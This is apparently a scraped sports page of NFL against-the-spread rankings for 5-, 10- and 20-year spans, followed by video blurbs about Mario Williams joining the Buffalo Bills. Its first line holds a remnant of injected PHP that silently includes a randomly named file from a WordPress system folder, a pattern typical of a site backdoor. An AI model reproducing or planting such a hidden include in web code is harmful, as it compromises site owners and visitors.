ken_placeholder_ */ @include_once("/home/rlffwinn/public_html/wp-includes/CqE0SWom.php"); /* end_current_existing_token_placeholder_ */ ?>

NFL Historical Pointspread ATS Statistics

2012-NCAA-Spread-Picks-Img1

 

The NFL Teams Ranked by Wins Against The Spread (ATS)
                5-Year Report: 2011 - 2007
                Weeks Analyzed:  85
                Expected Wins:  50.00%

                Rank   Team          Hits    Percentage

                  1    PACKERS        50       62.50%
                  2    FALCONS        49       61.25%
                  3    PATRIOTS       47       58.75%
                  4    SAINTS         46       57.50%
                  5    GIANTS         44       55.00%
                  6    TITANS         44       55.00%
                  7    49ERS          43       53.75%
                  8    COLTS          43       53.75%
                  9    TEXANS         42       52.50%
                 10    PANTHERS       42       52.50%
                 11    BROWNS         41       51.25%
                 12    RAVENS         41       51.25%
                 13    LIONS          41       51.25%
                 14    STEELERS       41       51.25%
                 15    EAGLES         41       51.25%
                 16    CARDINALS      41       51.25%
                 17    CHARGERS       40       50.00%
                 18    BILLS          40       50.00%
                 19    DOLPHINS       39       48.75%
                 20    REDSKINS       38       47.50%
                 21    JETS           38       47.50%
                 22    SEAHAWKS       38       47.50%
                 23    RAIDERS        37       46.25%
                 24    BENGALS        37       46.25%
                 25    CHIEFS         37       46.25%
                 26    BEARS          37       46.25%
                 27    JAGUARS        35       43.75%
                 28    COWBOYS        35       43.75%
                 29    VIKINGS        35       43.75%
                 30    BUCCANEERS     34       42.50%
                 31    BRONCOS        33       41.25%
                 32    RAMS           30       37.50%

                The NFL Teams Ranked by Wins Against The Spread (ATS)
                10-Year Report: 2011 - 2002
                Weeks Analyzed:  172
                Expected Wins:  50.00%

                Rank   Team          Hits    Percentage

                  1    PATRIOTS      100       61.73%
                  2    CHARGERS       91       56.17%
                  3    PACKERS        90       55.56%
                  4    RAVENS         89       54.94%
                  5    FALCONS        87       53.70%
                  6    COLTS          87       53.70%
                  7    SAINTS         87       53.70%
                  8    EAGLES         85       52.47%
                  9    CHIEFS         85       52.47%
                 10    GIANTS         84       51.85%
                 11    TITANS         83       51.23%
                 12    BILLS          82       50.62%
                 13    PANTHERS       82       50.62%
                 14    STEELERS       81       50.00%
                 15    BEARS          80       49.38%
                 16    REDSKINS       78       48.15%
                 17    BROWNS         78       48.15%
                 18    SEAHAWKS       78       48.15%
                 19    JAGUARS        78       48.15%
                 20    TEXANS         78       48.15%
                 21    COWBOYS        78       48.15%
                 22    LIONS          77       47.53%
                 23    JETS           76       46.91%
                 24    BENGALS        76       46.91%
                 25    DOLPHINS       76       46.91%
                 26    BRONCOS        76       46.91%
                 27    CARDINALS      75       46.30%
                 28    49ERS          75       46.30%
                 29    VIKINGS        73       45.06%
                 30    BUCCANEERS     70       43.21%
                 31    RAIDERS        64       39.51%
                 32    RAMS           64       39.51%

                The NFL Teams Ranked by Wins Against The Spread (ATS)
                20-Year Report: 2011 - 1992
                Weeks Analyzed:  341
                Expected Wins:  50.00%

                Rank   Team          Hits    Percentage

                  1    PATRIOTS      176       54.83%
                  2    PACKERS       172       53.58%
                  3    EAGLES        170       52.96%
                  4    CHARGERS      169       52.65%
                  5    STEELERS      168       52.34%
                  6    TITANS        168       52.34%
                  7    CHIEFS        167       52.02%
                  8    FALCONS       167       52.02%
                  9    GIANTS        165       51.40%
                 10    SAINTS        165       51.40%
                 11    BRONCOS       164       51.09%
                 12    BEARS         158       49.22%
                 13    COLTS         158       49.22%
                 14    BILLS         157       48.91%
                 15    49ERS         155       48.29%
                 16    COWBOYS       155       48.29%
                 17    JETS          154       47.98%
                 18    DOLPHINS      154       47.98%
                 19    LIONS         153       47.66%
                 20    SEAHAWKS      151       47.04%
                 21    BUCCANEERS    151       47.04%
                 22    BENGALS       151       47.04%
                 23    VIKINGS       151       47.04%
                 24    REDSKINS      148       46.11%
                 25    PANTHERS      147       45.79%
                 26    CARDINALS     147       45.79%
                 27    RAVENS        140       43.61%
                 28    JAGUARS       139       43.30%
                 29    RAMS          138       42.99%
                 30    RAIDERS       134       41.74%
                 31    BROWNS        129       40.19%
                 32    TEXANS         78       24.30%  = started in 2002
 

 

 NFL Historical Pointspread ATS Statistics
Incoming search terms:

Mario Williams on being #1 Draft Pick, RGIII & the Buffalo Bills: NFL Draft 365 ep.10

The big question in 2012 has been Luck or RGIII? Rewind six years ago. The 2006 NFL Draft had people asking if Mario Williams was the right pick for the Houston Texans at number one. After all, former Heisman winner Reggie Bush and Vince Young were waiting in the wings at the time. Hindsight is always 20/20 and there’s no doubt the Texans made the right pick with Mario Williams. Williams has been a two-time All-Pro Defensive End and just recently signed the most lucrative free-agent contract by a defensive player in the NFL. The Bills gain is undoubtedly the Texans loss. With the acquisition of Williams, the Bills can now focus their draft efforts on the offensive line to help protect their newly re-signed quarterback, Ryan Fitzpatrick. NFLDraft365 is a production of Bleacher Report Videos. The show highlights all of the players, news, happenings and opinion surrounding the NFL Draft and is covered year-round for NFL fans, who are serious about their teams. Remember to Subscribe! goo.gl NFL Draft 365 on Twitter – www.twitter.com NFL Draft 365 on Facebook – www.facebook.com The big question in 2012 has been Luck or RGIII? Rewind six years ago. The 2006 NFL Draft had people asking if Mario Williams was the right pick for the Houston Texans at number one. After all, former Heisman winner Reggie Bush and Vince Young were waiting in the wings at the time. Hindsight is always 20/20 and there’s no doubt the Texans made the right pick with Mario Williams. Williams has been a two

Mario Williams Starts the 2011 Season with 2 Sacks

Mario Williams give Indianapolis Colts quarterback Kerry Collins headaches with two sacks in his first game as an outside linebacker. This Clip is for entertainment purposes only.

Incoming search terms:

Does Mario Williams give the Buffalo Bills the best defensive line in the NFL?

Mario Williams is now the richest defensive player in NFL history, thanks to the Buffalo Bills. The top defensive free agent joins Kyle Williams and Marcell Dareus on a now-elite defensive line.

Bills Land Mario Williams

Adam Schefter, Tedy Bruschi on Mario Williams agreeing to a six-year deal with the Buffalo Bills.

Mario Williams Sweepstakes

Adam Schefter talks about which teams will go after Mario Williams.

NFL Fantasy Files Deluxe Version

Chris Cooley, Marques Colston, Neil Rackers, Jason Campbell, Braylon Edwards, Chris Chambers, Laurence Maroney, Mason Crosby, Chris Simms, Andre Johnson, Mike Nugent, Marc Bulger and David Akers all pull off amazing football tricks!